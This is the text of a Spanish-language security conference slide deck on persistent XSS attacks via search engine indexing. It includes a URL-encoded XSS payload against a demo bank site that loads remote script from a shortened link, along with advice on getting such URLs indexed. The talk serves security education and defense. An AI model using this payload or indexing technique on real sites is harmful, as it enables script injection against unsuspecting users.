Ataques XSS Google Persistentes

Chema Alonso

Buscadores como Arma

Búsqueda de informaciónBúsqueda de vulnerabilidades

Distribución de malwareEjecución de comandosAtaques XSS

Búsqueda de información

Búsqueda de passwords

Distribución de malware en Apple.com

BrowserShots

Caché de ataques SQL

Servicios de PING

Análisis Forense

XSS Persistentes Se inyectan en el repositorio de datos de la

aplicación Bases de datos Correos Web

Tienen cierto nivel de complejidad Tienen que ocultarse a los ojos de los

administradores Están en los datos Pueden tener consecuencias inesperadas

XSS No Persistentes

¿Cómo se descubren?

PentestingAcunetix free-editionEl blog de Eduardo Abril Just Googling

FBI y sus XSS

NASA y XSS

Dominio .mil

Oracle

Google

«Last-minute» XSS

Scripts de Búsqueda

The Facts Google Indexa URLs con XSS Un alto porcentaje de usuarios llega por

buscadores

The Facts…

Bueno… «buscadores means Google»

Conclusión Se puede dar de alta una URL con un XSS no

persistente Servicio de alta de URLs Enlazado en una web indexada

Se puede posicionar con técnicas Black SEO

Bank Of Maligno Web «copia» de Bank of América XSS No Persistente en search.aspx URL de ataque:

http://bankofmaligno.informatica64.com/search.aspx?S=%22%68%6F%6C%61%3C%73%63%72%69%70%74%20%66%6F%72%3D%77%69%6E%64%6F%77%20%65%76%65%6E%74%3D%6F%6E%6C%6F%61%64%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%62%69%74%2E%6C%79%2F%64%63%73%65%4E%49%22%3E%3C%2F%73%63%72%69%70%74%3E

Dada de alta en Google & Bing manualmente Dada de alta en Blog «Un informático en el

lado del mal»

Bank Of Maligno

Bank Of Maligno

Bank Of Maligno

Conclusiones No hay filtrado de URLs

Ataques SQL Injection Ataques XSS

Indexar un XSS en Google (u otro buscador) es convertirlo en un % Persistente

Protección SEO + Protección robots.txt

¿Preguntas? Chema Alonso

chema@informatica64.com http://twitter.com/chemaalonso http://www.informatica64.com

Blogs http://www.elladodelmal.com http://www.windowstecnico.com http://www.seguridadapple.com http://www.forefront-es.com http://www.puntocompartido.com/blogshare http://www.exchangespain.com